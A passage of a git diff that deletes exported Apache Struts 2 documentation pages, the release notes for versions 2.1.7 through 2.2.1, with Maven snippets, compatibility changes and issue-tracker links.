-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.1.7&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;
-</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.7-Backwardcompatibilityissueswithpriordevelopmentrelease">Backward compatibility issues with prior development release</h2>
-
-<ul><li>The bean 'named-variable' has been renamed to 'namedVariable' to match camelCase convention utilized throughout the framework</li><li>@Result annotations used at the method level now override @Result annotations placed at class-level when using the conventions plugin</li><li>@ParentPackage annotation on an action's super class will now be honored</li><li>if you have dynamicmethodinvocation turned off, but use multiple submit buttons within a single s:form, or the method: paramete [...]
-
-
-
-<h2 id="VersionNotes2.1.7-NewFeaturesandPlugins">New Features and Plugins</h2>
-
-<ul><li>This is mostly a bug-fix release with over 100 JIRA issues closed</li><li>The Multipart Request handler is now pluggable, allowing for better implementations to be wired in</li><li>Invalid OGNL now throws exceptions with stack traces placed in the Application Server log</li></ul>
-
-
-<h2 id="VersionNotes2.1.7-ExperimentalFeaturesandPlugins">Experimental Features and Plugins</h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-<ul><li>There is now an advanced file upload plugin in the sandbox meant to be used for AJAX file uploads</li></ul>
-
-
-<h3 id="VersionNotes2.1.7-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21907">JIRA Release Notes 2.1.7 </a></li></ul>
-
-
-<h3 id="VersionNotes2.1.7-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;&amp;pid=10030&amp;resolution=1&amp;fixfor=21907&amp;sorter/field=priority&amp;sorter/order=DESC">Struts 2.1.7 DONE </a></li></ul>
-
-
-<h3 id="VersionNotes2.1.7-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-218.html b/content/docs/version-notes-218.html
deleted file mode 100644
index 97af761..0000000
--- a/content/docs/version-notes-218.html
+++ /dev/null
@@ -1,200 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.8</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-218.html">Version Notes 2.1.8</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.8</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=3474427">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=3474427">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=3474427">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=3474427">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=3474427">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=3474427">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.8 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-216.html">Version Notes 2.1.6</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.1.8&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.8-Backwardcompatibilityissueswithpriordevelopmentrelease">Backward compatibility issues with prior development release</h2>
-
-<ul><li>The bean named-variable was renamed to namedVariable <a shape="rect" class="external-link" href="https://issues.apache.org/struts/browse/WW-3092">ww-3092</a></li><li>If the @Result annotation is marked at the method level, it will override class-level @Result annotations <a shape="rect" class="external-link" href="https://issues.apache.org/struts/browse/WW-3043">ww-3043</a></li><li>The @ParentPackage annotation can now be inherited <a shape="rect" class="external-link" href="http [...]
-
-
-
-<h2 id="VersionNotes2.1.8-NewFeaturesandPlugins">New Features and Plugins</h2>
-
-<ul><li>Struts now has a JSON plugin to support a JSON result type</li><li>Struts has an embeddedjsp plugin for compiling JSPs possibly packaged within a jar</li><li>The Struts 2 Spring plugin now supports spring's reloading class loader</li><li>Struts now supports a full-featured OSGi Plugin <a shape="rect" class="external-link" href="http://struts.apache.org/2.1.8/docs/osgi-plugin.html">osgi plugin</a></li></ul>
-
-
-<h3 id="VersionNotes2.1.8-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21920">JIRA Release Notes 2.1.8 </a></li></ul>
-
-
-<h3 id="VersionNotes2.1.8-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;pid=10030&amp;resolution=1&amp;fixfor=21920&amp;sorter/field=priority&amp;sorter/order=DESC">Struts 2.1.8 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter%2Forder=DESC&amp;sorter%2Ffield=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21930">Struts 2.1 [...]
-
-
-<h3 id="VersionNotes2.1.8-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2181.html b/content/docs/version-notes-2181.html
deleted file mode 100644
index 7f157ba..0000000
--- a/content/docs/version-notes-2181.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.8.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2181.html">Version Notes 2.1.8.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.8.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=5144800">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=5144800">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=5144800">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=5144800">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=5144800">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=5144800">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.8.1 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-218.html">Version Notes 2.1.8</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.1.8.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/builds/struts/2.1.8.1/m2-staging-repository/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-
-<h2 id="VersionNotes2.1.8.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>Updated assembly building process to create windows-friendly filenames and to retrieve <strong>all</strong> documentation</li></ul>
-
-
-<h3 id="VersionNotes2.1.8.1-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21950">JIRA Release Notes 2.1.8.1 </a></li></ul>
-
-
-<h3 id="VersionNotes2.1.8.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;pid=10030&amp;resolution=1&amp;fixfor=21950&amp;sorter/field=priority&amp;sorter/order=DESC">Struts 2.1.8.1 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter%2Forder=DESC&amp;sorter%2Ffield=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21930">Struts 2 [...]
-
-
-<h3 id="VersionNotes2.1.8.1-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-221.html b/content/docs/version-notes-221.html
deleted file mode 100644
index 9d2b333..0000000
--- a/content/docs/version-notes-221.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.2.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-221.html">Version Notes 2.2.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.2.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=22872734">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=22872734">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=22872734">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=22872734">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=22872734">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=22872734">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.2.1 distribution.</p>
-
